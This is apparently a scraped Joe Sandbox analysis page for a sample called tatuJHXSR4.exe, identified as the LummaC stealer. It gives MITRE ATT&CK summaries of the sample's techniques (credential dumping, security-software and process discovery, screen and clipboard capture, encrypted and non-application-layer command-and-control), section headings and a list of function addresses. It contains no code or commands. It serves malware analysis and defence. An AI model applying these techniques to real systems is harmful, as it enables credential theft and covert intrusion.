Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report tatuJHXSR4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

Windows Analysis Report
tatuJHXSR4.exe

Function 0077A3A0 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 217
COMMON

Function 00759750 Relevance: 10.4, Strings: 8, Instructions: 420
COMMON

Function 00781F90 Relevance: 7.8, APIs: 5, Instructions: 282
memorynativeCOMMON

Function 00786500 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 142
nativememoryCOMMON

Function 0076DC00 Relevance: 6.4, APIs: 4, Instructions: 370
nativememoryCOMMON

Function 007878F0 Relevance: 6.3, APIs: 4, Instructions: 267
nativememoryCOMMON

Function 0077589C Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 94
memoryCOMMON

Function 0078342C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121
libraryCOMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre